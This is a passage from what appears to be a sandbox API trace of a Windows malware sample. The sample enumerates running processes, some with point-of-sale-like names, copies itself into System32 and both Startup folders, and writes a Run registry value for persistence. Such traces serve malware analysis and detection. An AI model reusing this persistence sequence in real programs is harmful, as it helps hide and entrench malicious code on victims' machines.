lstrlenW (lpString="mxslipstream.exe") returned 16 [0034.201] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0034.201] lstrlenW (lpString="omnipos.exe") returned 11 [0034.201] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0034.202] lstrlenW (lpString="spcwin.exe") returned 10 [0034.202] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0034.203] lstrlenW (lpString="spgagentservice.exe") returned 19 [0034.203] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0034.203] lstrlenW (lpString="utg2.exe") returned 8 [0034.203] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0034.204] lstrlenW (lpString="burner.exe") returned 10 [0034.204] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.205] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.205] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.205] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.205] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.206] lstrlenW (lpString="dllhost.exe") returned 11 [0034.206] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.207] lstrlenW (lpString="dllhost.exe") returned 11 [0034.207] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0034.207] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0034.207] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0 [0034.208] CloseHandle (hObject=0xe0) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5553b8 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555400 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555448 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555468 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5554b0 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x554b50 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534868 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5348a0 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534498 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5344c0 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5348e8 | out: hHeap=0x520000) returned 1 [0034.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5344e8 | out: hHeap=0x520000) returned 1 [0034.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x55b6e0 [0034.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x56b6e8 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x5344e8 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344e8, Size=0x40) returned 0x556af8 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x5344e8 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x5344c0 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x534498 [0034.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x556b40 [0034.209] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56b6e8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x60 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x57b6f0 [0034.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x58b6f8 [0034.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x534498 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534498, Size=0x40) returned 0x556b88 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b88, Size=0x80) returned 0x5553b8 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5553b8, Size=0x100) returned 0x557d00 [0034.210] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557d00 | out: hHeap=0x520000) returned 1 [0034.210] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x57b6f0, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x4f [0034.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58b6f8 | out: hHeap=0x520000) returned 1 [0034.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b6f0 | out: hHeap=0x520000) returned 1 [0034.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2010020 [0034.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x534498 [0034.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.210] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x555a80 [0034.210] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.210] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.211] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0034.211] lstrlenW (lpString="kernel32.dll") returned 12 [0034.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534498 | out: hHeap=0x520000) returned 1 [0034.211] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0034.211] CreateFileW (lpFileName="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0034.232] ReadFile (in: hFile=0xe0, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.246] WriteFile (in: hFile=0xe4, lpBuffer=0x2010020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.249] ReadFile (in: hFile=0xe0, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0034.249] CloseHandle (hObject=0xe4) returned 1 [0034.252] CloseHandle (hObject=0xe0) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.252] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x555a80 [0034.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.252] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x555a30 [0034.252] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.252] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.252] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0034.252] lstrlenW (lpString="kernel32.dll") returned 12 [0034.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a30 | out: hHeap=0x520000) returned 1 [0034.252] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2010020 | out: hHeap=0x520000) returned 1 [0034.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.257] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x555a80 [0034.257] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555a80, Size=0x40) returned 0x556b88 [0034.257] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b88, Size=0x80) returned 0x57b708 [0034.257] lstrlenW (lpString="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 78 [0034.257] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0034.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c) returned 0x5553b8 [0034.257] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0034.258] RegSetValueExW (in: hKey=0xe0, lpValueName="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", cbData=0x9c | out: lpData="C:\\Windows\\System32\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x0 [0034.259] RegCloseKey (hKey=0xe0) returned 0x0 [0034.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5553b8 | out: hHeap=0x520000) returned 1 [0034.259] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0034.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x57d6f0 [0034.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x58d6f8 [0034.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b50 [0034.259] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b50, Size=0x20) returned 0x555a80 [0034.259] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555a80, Size=0x40) returned 0x556b88 [0034.259] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b88, Size=0x80) returned 0x57b708 [0034.259] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x557d00 [0034.259] lstrlenW (lpString="") returned 0 [0034.259] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x557e08 [0034.259] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0034.260] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x58d6f8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x58d6f8*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0034.260] RegCloseKey (hKey=0xe0) returned 0x0 [0034.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557e08 | out: hHeap=0x520000) returned 1 [0034.260] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x557e08 [0034.264] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0034.264] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x58d6f8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0034.264] RegCloseKey (hKey=0xe4) returned 0x0 [0034.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557e08 | out: hHeap=0x520000) returned 1 [0034.264] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0034.264] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557d00 | out: hHeap=0x520000) returned 1 [0034.264] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x57d6f0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x97 [0034.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d6f8 | out: hHeap=0x520000) returned 1 [0034.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6f0 | out: hHeap=0x520000) returned 1 [0034.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2010020 [0034.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.264] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a80 [0034.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.265] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a30 [0034.265] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.265] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.265] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0034.265] lstrlenW (lpString="kernel32.dll") returned 12 [0034.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.265] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a30 | out: hHeap=0x520000) returned 1 [0034.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0034.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0034.267] ReadFile (in: hFile=0xe4, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.279] WriteFile (in: hFile=0xe8, lpBuffer=0x2010020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.282] ReadFile (in: hFile=0xe4, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0034.282] CloseHandle (hObject=0xe8) returned 1 [0034.283] CloseHandle (hObject=0xe4) returned 1 [0034.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.283] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a30 [0034.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.283] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a80 [0034.283] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.283] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.283] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0034.283] lstrlenW (lpString="kernel32.dll") returned 12 [0034.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.283] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a30 | out: hHeap=0x520000) returned 1 [0034.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2010020 | out: hHeap=0x520000) returned 1 [0034.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x57d6f0 [0034.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x58d6f8 [0034.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.288] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a30 [0034.288] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555a30, Size=0x40) returned 0x556b88 [0034.288] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b88, Size=0x80) returned 0x57b708 [0034.288] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x557d00 [0034.288] lstrlenW (lpString="") returned 0 [0034.288] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x557e08 [0034.288] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0034.289] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x58d6f8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0034.289] RegCloseKey (hKey=0xe4) returned 0x0 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557e08 | out: hHeap=0x520000) returned 1 [0034.289] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0034.289] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557d00 | out: hHeap=0x520000) returned 1 [0034.289] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x57d6f0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x78 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d6f8 | out: hHeap=0x520000) returned 1 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6f0 | out: hHeap=0x520000) returned 1 [0034.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2010020 [0034.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.289] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a30 [0034.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.289] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a80 [0034.289] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.289] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.289] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0034.289] lstrlenW (lpString="kernel32.dll") returned 12 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a30 | out: hHeap=0x520000) returned 1 [0034.289] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 